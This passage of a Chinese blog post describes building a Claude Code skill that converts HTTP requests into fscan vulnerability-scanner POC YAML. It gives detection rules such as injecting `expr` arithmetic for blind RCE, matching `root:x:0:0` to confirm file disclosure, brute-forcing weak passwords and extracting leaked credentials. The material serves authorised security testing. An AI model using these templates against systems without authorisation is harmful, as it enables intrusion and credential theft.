&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;skill 的主要输入格式是什么？
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ 1. [ ] Raw HTTP 请求（Burp Suite 格式）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 粘贴完整 HTTP 请求：GET/POST 行 + headers + body
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 2. [ ] curl 命令
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 粘贴 curl 命令，skill 解析成 POC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 3. [ ] 漏洞描述 + URL
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 用自然语言描述漏洞，skill 推断结构
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 4. [ ] 已有 exploit 代码（Python/Go 等）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 粘贴 exploit 脚本，skill 提取 HTTP 逻辑
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 5. [ ] Type something
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Submit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此处认为，这一个 skill 更适合限制在 Raw HTTP 请求，这是最稳的。应该把第三点单独做成另一个 skill。因此选择第一个。但事实上，都已经是 skill 了，其实区别不会很大。&lt;/p&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;Plan: fscan POC YAML Generator Skill&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# Plan: fscan POC YAML Generator Skill
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Context
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users working with fscan need to convert vulnerability payloads (raw HTTP requests, curl commands, exploit descriptions) into properly formatted fscan POC YAML files. Manually writing these files requires knowing the format spec, CEL expression syntax, and naming conventions. A skill automates this conversion and enforces project conventions defined in CLAUDE.md.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Skill Location
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;~/.claude/skills/fscan-poc-gen/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── SKILL.md # Main skill (trigger + instructions)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── references/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── poc-format.md # Field reference, CEL functions, type templates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Global placement at &lt;span class="sb"&gt;`~/.claude/skills/`&lt;/span&gt; makes the skill available across all projects.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Files to Create
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 1. `~/.claude/skills/fscan-poc-gen/SKILL.md`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Frontmatter:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`name: fscan-poc-gen`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`description`&lt;/span&gt;: trigger phrases like &amp;#34;生成 POC&amp;#34;, &amp;#34;写一个 poc&amp;#34;, &amp;#34;convert this payload to POC yaml&amp;#34;, &amp;#34;generate fscan poc&amp;#34;, &amp;#34;create poc yaml&amp;#34;, &amp;#34;把这个 payload 转成 poc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`version: 0.1.0`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Body content (imperative form, ~800 words):**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; &lt;span class="gs"&gt;**Input parsing**&lt;/span&gt; — identify from user&amp;#39;s payload:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; HTTP method (GET/POST/PUT/DELETE/HEAD)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Path (URL path only, strip host)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Headers (Content-Type, Cookie, Authorization, custom headers)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Body (raw body, JSON, form-encoded)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Vulnerability type hint (SQLi, RCE, LFI, SSRF, unauth, weak-password, info-leak)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; &lt;span class="gs"&gt;**Naming convention:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Format: &lt;span class="sb"&gt;`{vendor}-{product}-{cve-or-cnvd-or-type}.yml`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; POC &lt;span class="sb"&gt;`name`&lt;/span&gt; field: &lt;span class="sb"&gt;`poc-yaml-{vendor}-{type}`&lt;/span&gt; (all lowercase, hyphens)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; If CVE is known: include it (e.g., &lt;span class="sb"&gt;`poc-yaml-spring-cve-2022-22947`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Ask user if vendor/name is unclear
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; &lt;span class="gs"&gt;**Variable decisions:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Use &lt;span class="sb"&gt;`set`&lt;/span&gt; with &lt;span class="sb"&gt;`randomInt`&lt;/span&gt;/&lt;span class="sb"&gt;`randomLowercase`&lt;/span&gt; for RCE proof-of-exploit (avoid hardcoded magic strings)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Use &lt;span class="sb"&gt;`sets`&lt;/span&gt; only for brute-force/weak-password POCs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Omit &lt;span class="sb"&gt;`set`&lt;/span&gt;/&lt;span class="sb"&gt;`sets`&lt;/span&gt; for detection-only POCs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; &lt;span class="gs"&gt;**Expression rules by vulnerability type:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; SQLi: detect DB error strings or injected markers (&lt;span class="sb"&gt;`bcontains(b&amp;#34;error-string&amp;#34;)`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; RCE (blind): use &lt;span class="sb"&gt;`rand1 + rand2`&lt;/span&gt; math — generate two random ints, inject &lt;span class="sb"&gt;`expr {{rand1}} + {{rand2}}`&lt;/span&gt; into payload, check &lt;span class="sb"&gt;`response.body.bcontains(bytes(string(rand1 + rand2)))`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; RCE (reflected): detect command output in body
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; LFI/path traversal: detect file content signatures (e.g., &lt;span class="sb"&gt;`root:x:0:0`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; SSRF: detect internal service responses
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Unauth access: &lt;span class="sb"&gt;`response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;sensitive-marker&amp;#34;)`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Info leak: use &lt;span class="sb"&gt;`search`&lt;/span&gt; with named capture groups to extract and print leaked data
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Weak password: multi-rule — first GET to get session/CSRF, then POST login, check redirect or session marker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; &lt;span class="ge"&gt;**&lt;/span&gt;&lt;span class="sb"&gt;`search`&lt;/span&gt; field usage:**
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Add when response contains extractable sensitive data (tokens, credentials, version info)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Pattern: &lt;span class="sb"&gt;`(?P&amp;lt;varname&amp;gt;[^&amp;#34;]+)`&lt;/span&gt; style named groups
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Extracted vars are printed on match and available in subsequent rules via &lt;span class="sb"&gt;`{{varname}}`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; &lt;span class="gs"&gt;**Multi-rule POCs:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Rule N+1 depends on data from rule N via &lt;span class="sb"&gt;`search`&lt;/span&gt; extraction
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Each intermediate rule: set &lt;span class="sb"&gt;`expression`&lt;/span&gt; to verify step succeeded
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Final rule: expression verifies full exploit chain
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;7.&lt;/span&gt; &lt;span class="gs"&gt;**Output:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Print the complete YAML to conversation (not write to file, unless user asks)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Suggest filename following naming convention
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; Note if embedded in binary: must recompile after adding to &lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 2. `~/.claude/skills/fscan-poc-gen/references/poc-format.md`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Detailed reference (loaded on demand):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; All YAML fields with types and descriptions
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Full CEL function list (bcontains, icontains, bmatches, base64, randomInt, randomLowercase, etc.)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`set`&lt;/span&gt; vs &lt;span class="sb"&gt;`sets`&lt;/span&gt; detailed explanation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`follow_redirects`&lt;/span&gt; usage
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`continue`&lt;/span&gt; field explanation
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`detail`&lt;/span&gt; metadata fields
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Complete template for each vulnerability category (SQLi, RCE-blind, RCE-reflect, LFI, unauth, weak-password, info-leak, multi-step)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Real examples from the codebase (abbreviated)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Skill Trigger Examples
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;帮我把这个 HTTP 请求生成 fscan poc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;generate a poc yaml for this CVE&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;写一个 weblogic 弱口令的 poc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;把这个 curl 命令转成 poc yaml&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;我有一个 SQL 注入 payload，帮我生成 poc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Verification
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After creation:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; Restart Claude Code or reload plugins
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; Paste a sample raw HTTP request and ask: &amp;#34;帮我生成 fscan poc yaml&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; Verify skill triggers and produces valid YAML
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; Build fscan: &lt;span class="sb"&gt;`go build -o fscan main.go`&lt;/span&gt; — should succeed with the generated YAML placed in &lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; Test: &lt;span class="sb"&gt;`./fscan -u http://target -pocname &amp;lt;poc-name&amp;gt;`&lt;/span&gt; — should run without panic
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;p&gt;跑完之后的总结如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Done. Here&amp;#39;s what was created:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ~/.claude/skills/fscan-poc-gen/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── SKILL.md (258 lines)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── references/
